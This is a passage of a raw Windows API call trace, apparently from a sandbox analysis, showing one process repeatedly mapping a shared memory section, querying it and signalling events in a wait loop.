dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x250000 [0149.211] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x250000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x980048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x980048, ResultLength=0x0) returned 0xc0000098 [0149.211] UnmapViewOfFile (lpBaseAddress=0x250000) returned 1 [0149.211] ResetEvent (hEvent=0xe8) returned 1 [0149.211] SetEvent (hEvent=0xec) returned 1 [0149.211] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.211] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.211] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.211] NtQueryObject (in: Handle=0x1a8, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.211] MapViewOfFile (hFileMappingObject=0x1a8, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x250000 [0149.211] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x250000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x980048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x980048, ResultLength=0x0) returned 0xc0000098 [0149.211] UnmapViewOfFile (lpBaseAddress=0x250000) returned 1 [0149.211] ResetEvent (hEvent=0xe8) returned 1 [0149.211] SetEvent (hEvent=0xec) returned 1 [0149.212] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.212] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.212] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.212] NtQueryObject (in: Handle=0x1a8, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.212] MapViewOfFile (hFileMappingObject=0x1a8, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x250000 [0149.212] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x250000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x980048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x980048, ResultLength=0x0) returned 0xc0000098 [0149.212] UnmapViewOfFile (lpBaseAddress=0x250000) returned 1 [0149.212] ResetEvent (hEvent=0xe8) returned 1 [0149.212] SetEvent (hEvent=0xec) returned 1 [0149.212] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.212] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.212] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.212] NtQueryObject (in: Handle=0x1a8, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.212] MapViewOfFile (hFileMappingObject=0x1a8, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x250000 [0149.212] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x250000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x980048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x980048, ResultLength=0x0) returned 0xc0000098 [0149.212] UnmapViewOfFile (lpBaseAddress=0x250000) returned 1 [0149.212] ResetEvent (hEvent=0xe8) returned 1 [0149.212] SetEvent (hEvent=0xec) returned 1 [0149.212] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.212] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.213] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.213] NtQueryObject (in: Handle=0x1a8, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.213] ResetEvent (hEvent=0xe8) returned 1 [0149.213] SetEvent (hEvent=0xec) returned 1 [0149.213] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.213] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.213] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.213] NtQueryObject (in: Handle=0x1a8, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.213] MapViewOfFile (hFileMappingObject=0x1a8, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x250000 [0149.213] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x250000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x980048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x980048, ResultLength=0x0) returned 0xc0000098 [0149.213] UnmapViewOfFile (lpBaseAddress=0x250000) returned 1 [0149.213] ResetEvent (hEvent=0xe8) returned 1 [0149.213] SetEvent (hEvent=0xec) returned 1 [0149.213] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.213] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.213] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.213] NtQueryObject (in: Handle=0x1a8, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.213] ResetEvent (hEvent=0xe8) returned 1 [0149.213] SetEvent (hEvent=0xec) returned 1 [0149.214] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.214] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.214] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.214] NtQueryObject (in: Handle=0x1a8, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.214] ResetEvent (hEvent=0xe8) returned 1 [0149.214] SetEvent (hEvent=0xec) returned 1 [0149.214] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.214] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.214] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.214] NtQueryObject (in: Handle=0x1a8, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.214] MapViewOfFile (hFileMappingObject=0x1a8, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x250000 [0149.214] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x250000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x980048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x980048, ResultLength=0x0) returned 0xc0000098 [0149.214] UnmapViewOfFile (lpBaseAddress=0x250000) returned 1 [0149.214] ResetEvent (hEvent=0xe8) returned 1 [0149.214] SetEvent (hEvent=0xec) returned 1 [0149.214] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.214] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.214] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.214] NtQueryObject (in: Handle=0x1a8, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.214] MapViewOfFile (hFileMappingObject=0x1a8, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x250000 [0149.214] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x250000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x980048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x980048, ResultLength=0x0) returned 0xc0000098 [0149.214] UnmapViewOfFile (lpBaseAddress=0x250000) returned 1 [0149.215] ResetEvent (hEvent=0xe8) returned 1 [0149.215] SetEvent (hEvent=0xec) returned 1 [0149.215] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.215] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.215] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.215] NtQueryObject (in: Handle=0x1a8, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.215] MapViewOfFile (hFileMappingObject=0x1a8, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x250000 [0149.215] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x250000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x980048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x980048, ResultLength=0x0) returned 0xc0000098 [0149.215] UnmapViewOfFile (lpBaseAddress=0x250000) returned 1 [0149.215] ResetEvent (hEvent=0xe8) returned 1 [0149.215] SetEvent (hEvent=0xec) returned 1 [0149.215] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.215] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.215] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.215] NtQueryObject (in: Handle=0x1a8, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.215] MapViewOfFile (hFileMappingObject=0x1a8, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x250000 [0149.215] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x250000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x980048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x980048, ResultLength=0x0) returned 0xc0000098 [0149.215] UnmapViewOfFile (lpBaseAddress=0x250000) returned 1 [0149.215] ResetEvent (hEvent=0xe8) returned 1 [0149.215] SetEvent (hEvent=0xec) returned 1 [0149.216] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.216] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.216] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.216] NtQueryObject (in: Handle=0x1a8, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.216] ResetEvent (hEvent=0xe8) returned 1 [0149.216] SetEvent (hEvent=0xec) returned 1 [0149.216] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.216] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.216] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.216] NtQueryObject (in: Handle=0x1a8, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.216] ResetEvent (hEvent=0xe8) returned 1 [0149.216] SetEvent (hEvent=0xec) returned 1 [0149.216] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.216] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.216] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.216] NtQueryObject (in: Handle=0x1a8, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.216] ResetEvent (hEvent=0xe8) returned 1 [0149.216] SetEvent (hEvent=0xec) returned 1 [0149.216] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.216] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.216] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.217] NtQueryObject (in: Handle=0x1a8, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.217] ResetEvent (hEvent=0xe8) returned 1 [0149.217] SetEvent (hEvent=0xec) returned 1 [0149.217] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.217] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.217] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.217] NtQueryObject (in: Handle=0x1a8, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.217] ResetEvent (hEvent=0xe8) returned 1 [0149.217] SetEvent (hEvent=0xec) returned 1 [0149.217] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.217] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.217] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.217] NtQueryObject (in: Handle=0x1a8, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.217] MapViewOfFile (hFileMappingObject=0x1a8, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x250000 [0149.217] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x250000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x980048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x980048, ResultLength=0x0) returned 0xc0000098 [0149.217] UnmapViewOfFile (lpBaseAddress=0x250000) returned 1 [0149.217] ResetEvent (hEvent=0xe8) returned 1 [0149.217] SetEvent (hEvent=0xec) returned 1 [0149.217] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.217] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.218] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.218] NtQueryObject (in: Handle=0x1a8, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.218] ResetEvent (hEvent=0xe8) returned 1 [0149.218] SetEvent (hEvent=0xec) returned 1 [0149.218] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.218] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.218] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.218] NtQueryObject (in: Handle=0x1a8, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.218] ResetEvent (hEvent=0xe8) returned 1 [0149.218] SetEvent (hEvent=0xec) returned 1 [0149.218] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.218] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.218] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.218] NtQueryObject (in: Handle=0x1a8, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.218] MapViewOfFile (hFileMappingObject=0x1a8, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x250000 [0149.218] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x250000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x980048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x980048, ResultLength=0x0) returned 0xc0000098 [0149.218] UnmapViewOfFile (lpBaseAddress=0x250000) returned 1 [0149.218] ResetEvent (hEvent=0xe8) returned 1 [0149.218] SetEvent (hEvent=0xec) returned 1 [0149.218] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.218] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.219] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.219] NtQueryObject (in: Handle=0x1a8, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.219] ResetEvent (hEvent=0xe8) returned 1 [0149.219] SetEvent (hEvent=0xec) returned 1 [0149.219] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.219] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.219] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.219] NtQueryObject (in: Handle=0x1a8, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.219] ResetEvent (hEvent=0xe8) returned 1 [0149.219] SetEvent (hEvent=0xec) returned 1 [0149.219] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.219] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.219] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.219] NtQueryObject (in: Handle=0x1a8, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.219] ResetEvent (hEvent=0xe8) returned 1 [0149.219] SetEvent (hEvent=0xec) returned 1 [0149.219] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.219] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.219] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.219] NtQueryObject (in: Handle=0x1a8, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.219] MapViewOfFile (hFileMappingObject=0x1a8, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x250000 [0149.220] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x250000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x980048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x980048, ResultLength=0x0) returned 0xc0000098 [0149.220] UnmapViewOfFile (lpBaseAddress=0x250000) returned 1 [0149.220] ResetEvent (hEvent=0xe8) returned 1 [0149.220] SetEvent (hEvent=0xec) returned 1 [0149.220] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.220] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.220] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.220] NtQueryObject (in: Handle=0x1a8, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.220] MapViewOfFile (hFileMappingObject=0x1a8, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x250000 [0149.220] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x250000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x980048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x980048, ResultLength=0x0) returned 0xc0000098 [0149.220] UnmapViewOfFile (lpBaseAddress=0x250000) returned 1 [0149.220] ResetEvent (hEvent=0xe8) returned 1 [0149.220] SetEvent (hEvent=0xec) returned 1 [0149.220] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.220] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.220] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.220] NtQueryObject (in: Handle=0x1a8, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.220] MapViewOfFile (hFileMappingObject=0x1a8, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x250000 [0149.220] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x250000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x980048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x980048, ResultLength=0x0) returned 0xc0000098 [0149.220] UnmapViewOfFile (lpBaseAddress=0x250000) returned 1 [0149.220] ResetEvent (hEvent=0xe8) returned 1 [0149.220] SetEvent (hEvent=0xec) returned 1 [0149.221] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.221] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.221] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.221] NtQueryObject (in: Handle=0x1a8, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.221] MapViewOfFile (hFileMappingObject=0x1a8, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x250000 [0149.221] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x250000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x980048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x980048, ResultLength=0x0) returned 0xc0000098 [0149.221] UnmapViewOfFile (lpBaseAddress=0x250000) returned 1 [0149.221] ResetEvent (hEvent=0xe8) returned 1 [0149.221] SetEvent (hEvent=0xec) returned 1 [0149.221] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.221] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.221] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.221] NtQueryObject (in: Handle=0x1a8, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.221] ResetEvent (hEvent=0xe8) returned 1 [0149.221] SetEvent (hEvent=0xec) returned 1 [0149.221] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.221] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.221] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.221] NtQueryObject (in: Handle=0x1a8, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.221] MapViewOfFile (hFileMappingObject=0x1a8, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x250000 [0149.222] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x250000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x980048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x980048, ResultLength=0x0) returned 0xc0000098 [0149.222] UnmapViewOfFile (lpBaseAddress=0x250000) returned 1 [0149.222] ResetEvent (hEvent=0xe8) returned 1 [0149.222] SetEvent (hEvent=0xec) returned 1 [0149.222] 